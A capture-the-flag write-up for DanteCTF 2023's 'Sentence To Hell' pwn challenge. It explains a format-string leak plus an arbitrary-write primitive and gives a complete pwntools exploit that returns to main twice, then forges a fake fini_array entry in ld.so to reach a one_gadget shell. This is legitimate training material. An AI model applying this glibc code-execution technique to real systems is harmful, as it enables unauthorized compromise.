## Sentence To Hell
was a pwn challenge from **DanteCTF 2023**.
I did not have time to participate to **DanteCTF** as I was doing justCTF instead...
anyway I did this one quickly, which is a classic type of challenge where you can write a value to a chosen address to try to get code execution.
### 1 - The program
the program is small , so the reverse is quick ?, here is the `main` (and only) function:
```cint main(int argc, const char **argv, const char **envp){  __int64 *target_addr; // [rsp+8h] [rbp-18h] BYREF  __int64 value; // [rsp+10h] [rbp-10h] BYREF  unsigned __int64 canary; // [rsp+18h] [rbp-8h]
  canary = __readfsqword(0x28u);  setvbuf(stdin, 0LL, 2, 0LL);  setvbuf(stderr, 0LL, 2, 0LL);  setvbuf(stdout, 0LL, 2, 0LL);  puts("Please, tell me your name: ");  fgets(your_name, 12, stdin);  your_name[strcspn(your_name, "\n")] = 0;  printf("Hi, ");  printf(your_name);        // format string vuln, used to   puts(" give me a soul you want to send to hell: ");  __isoc99_scanf("%lu", &value);  getchar();  puts("and in which circle you want to put him/her: ");  __isoc99_scanf("%lu", &target_addr);  getchar();  *target_addr = value;      // write choosen value to target address  puts("Done, bye!");  return 0;}```
let's `checksec` the binary to see protection in place:
![checksec](./pics/checksec.png)
Ok.. so, the author of the challenge gave us a format string vulnerability, the line `printf(your_name)` which will be useful to leak various addresses,  like stack, libc, program base, etc...
then we can choose an address and a value to write. and the program return.
pretty classic.
**Useful to note:**  Here the library used is `libc 2.35  (Ubuntu GLIBC 2.35-0ubuntu3.1)` which is the libc used by `Ubuntu 22.04` distribution.
### 2 - Achieving code execution.
Well there are various way to achieve code execution, I found at least 3 different one, but maybe there are many more:
1. Leaking stack address with the format string vuln, and overwriting main return address on stack.2. Leaking libc address with the format string vuln, and overwriting `strlen` libc GOT entry that will be called by `puts()`3. leaking ld.so address with the format string vuln, and creating a fake `fini_array` table entry, that will be executed by `_dl_fini` called by `run_exit_handlers()` at program exits..
that's not so bad, for my exploit I will use a mix of option 1 and 3.
I have tried a one gadget single shot via option 1 or 2, but none of the one gadgets works..so I decide to go another way.
First I will overwrite main return address on stack, to return to main. I will do this two times, because the limited 11 chars input in `your_name` will not allow me to leak all the values I want with the format string in one turn.
* First round, I will leak stack and libc address.
* Second round, I will leak exe base and `rtld_global` address.
* Third round , I will create a fake `fini_array` table  in `your_name`variable, and will overwrite an entry in ld.so to points on it.  That fake `fini_array`table will point to a one gadget that works at this point, and we will get code execution.
to achieve code execution in the third round, let's have a look at  `_dl_fini` function in libc 2.35  file: `elf/dl-fini.c` (line 123)
```c         /* Is there a destructor function?  */          if (l->l_info[DT_FINI_ARRAY] != NULL || (ELF_INITFINI && l->l_info[DT_FINI] != NULL))            {              /* When debugging print a message first.  */              if (__builtin_expect (GLRO(dl_debug_mask) & DL_DEBUG_IMPCALLS, 0))                _dl_debug_printf ("\ncalling fini: %s [%lu]\n\n", DSO_FILENAME (l->l_name), ns);
              /* First see whether an array is given.  */              if (l->l_info[DT_FINI_ARRAY] != NULL)              {                ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);                unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));                while (i-- > 0)                  ((fini_t) array[i]) ();              }```
we overwrite `l->l_info[DT_FINI_ARRAY]` pointer (which is 0x13b0 bytes after `_rtld_global` in `ld.so`) with the address 
of our `your_name`variable in .bss,  in this variable we will forge a `fini_array` entry.
you can see that the array pointer is calculated by adding `l->l_addr`to `l->l_info[DT_FINI_ARRAY]->d_un.d_ptr` which is the second pointer of the `fini_array` entry.
```cElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);```
then this entry is called by:
```c((fini_t) array[i]) ();```
the `d_un` structure is declared like this:
```cptype l->l_info[DT_FINI_ARRAY]->d_untype = union {    Elf64_Xword d_val;				// address of function that will be called, we put our onegadget here    Elf64_Addr d_ptr;				// offset from l->l_addr of our structure}```
So in our `your_name` variable, we put our onegadget and 0x4050, which is the offset to the  ̀your_name` variable..
you can check this mechanism under gdb, by putting a breakpoint like this:  `b *_dl_fini+445`
### 3 - The Exploit
```python#!/usr/bin/env python# -*- coding: utf-8 -*-from pwn import *
context.update(arch="amd64", os="linux")context.log_level = 'info'
# change -l0 to -l1 for more gadgetsdef one_gadget(filename, base_addr=0):  return [(int(i)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', '-l1', filename]).decode().split(' ')]
# shortcutsdef logbase(): log.info("libc base = %#x" % libc.address)def logleak(name, val):  log.info(name+" = %#x" % val)def sa(delim,data): return p.sendafter(delim,data)def sla(delim,line): return p.sendlineafter(delim,line)def sl(line): return p.sendline(line)def rcu(d1, d2=0):  p.recvuntil(d1, drop=True)  # return data between d1 and d2  if (d2):    return p.recvuntil(d2,drop=True)
exe = ELF('./sentence_patched')libc = ELF('./libc.so.6')
host, port = "challs.dantectf.it", "31531"
if args.REMOTE:  p = remote(host,port)else:  p = process(exe.path)
# leak stack & libc addresssla('name: \n', '%p.%11$p.')stack = int(rcu('Hi, ', '.'),16)logleak('stack',stack)libc.address = int(p.recvuntil('.',drop=True),16) - 0x29d90logbase()onegadgets = one_gadget('libc.so.6', libc.address)# ret2maintarget = stack+0x2148	# libcmain return address on stacksla('hell: \n', str(libc.address+0x29d4c))sla('her: \n', str(target))
# now we leak exe base & rltd_global addresstarget = stack+0x2148sla('name: \n', '%13$p.%21$p')exe.address = int(rcu('Hi, ', '.'),16)-0x1229logleak('exe base',exe.address)rtld = int(p.recvuntil(' ',drop=True),16)logleak('rtld',rtld)# ret2main againsla('hell: \n', str(libc.address+0x29d4c))sla('her: \n', str(target))
# write # makes l->l_info[DT_FINI_ARRAY] point to your_name variable on stack.. which will contains offset to a fake fini_array table (itself) which entry points to a onegadgettarget = rtld+0x13b0sla('name: \n', p64(onegadgets[8])+p16(0x4050)+b'\x00' )sla('hell: \n', str(exe.address+0x4050))sla('her: \n', str(target))
p.interactive()```
you like to see fancy chars moving on screen?
![gotshell](https://github.com/nobodyisnobody/write-ups/blob/main/DanteCTF.2023/pwn/Sentence.To.Hell/pics/gotshell.gif?raw=true)
so it's finished, see you in the next world. *nobodyisnobody still learning..*